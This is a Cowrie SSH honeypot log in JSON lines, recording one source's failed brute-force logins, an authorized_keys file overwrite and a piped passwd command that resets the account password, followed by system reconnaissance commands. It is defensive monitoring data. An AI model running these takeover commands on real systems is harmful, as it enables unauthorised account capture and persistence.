{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:56.041812Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:56.045794Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":33984,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b302dcc32dc","protocol":"ssh","message":"New connection: 45.144.233.139:33984 (10.17.0.5:22) [session: 1b302dcc32dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:56.124941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:56.130143Z","src_ip":"45.144.233.139","session":"1b302dcc32dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:56.217292Z","src_ip":"45.144.233.139","session":"1b302dcc32dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:56.598739Z","src_ip":"45.144.233.139","session":"1b302dcc32dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:57.690045Z","src_ip":"45.144.233.139","session":"1b302dcc32dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":33992,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d2713164ab5","protocol":"ssh","message":"New connection: 45.144.233.139:33992 (10.17.0.5:22) [session: 0d2713164ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:57.773373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:57.777558Z","src_ip":"45.144.233.139","session":"0d2713164ab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:57.864848Z","src_ip":"45.144.233.139","session":"0d2713164ab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:58.246177Z","src_ip":"45.144.233.139","session":"0d2713164ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:59.337535Z","src_ip":"45.144.233.139","session":"0d2713164ab5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:59.485349Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:59.488773Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:59.580413Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:59.803661Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2020\\nP53waLHJisq5\\nP53waLHJisq5\"|passwd|bash","message":"CMD: echo -e \"admin2020\\nP53waLHJisq5\\nP53waLHJisq5\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:59.807828Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:59.812410Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:59.815911Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9f7e4ad1c515f34640a2b00e54e506eafa7d105d433b0827638fafb59284a6b6","size":32,"shasum":"9f7e4ad1c515f34640a2b00e54e506eafa7d105d433b0827638fafb59284a6b6","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/9f7e4ad1c515f34640a2b00e54e506eafa7d105d433b0827638fafb59284a6b6 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:25:59.908548Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:00.145857Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2020\\nP53waLHJisq5\\nP53waLHJisq5\\n\"|passwd","message":"CMD: echo \"admin2020\\nP53waLHJisq5\\nP53waLHJisq5\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:00.149314Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52ee30553b0e8215674cee12bcbedfd7bc0d78a7a86de366a017e30504cdd8f8","size":25,"shasum":"52ee30553b0e8215674cee12bcbedfd7bc0d78a7a86de366a017e30504cdd8f8","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/52ee30553b0e8215674cee12bcbedfd7bc0d78a7a86de366a017e30504cdd8f8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:00.245493Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:00.536831Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:00.541054Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:00.634987Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:00.863736Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:00.867206Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:00.958744Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.177428Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.181750Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.185656Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.278836Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.505693Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.509054Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.616919Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.893599Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.897470Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:01.989243Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:02.222960Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:02.226759Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:02.318898Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:02.547902Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:02.551395Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:02.643853Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:02.909276Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:02.912807Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.006238Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.236919Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.240619Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.332230Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.565494Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.569449Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.661052Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.882861Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.886378Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:03.977261Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:04.195396Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:04.198960Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:04.292237Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:26:04.515364Z","src_ip":"45.144.233.139","session":"50e2692caa69","protocol":"ssh"}
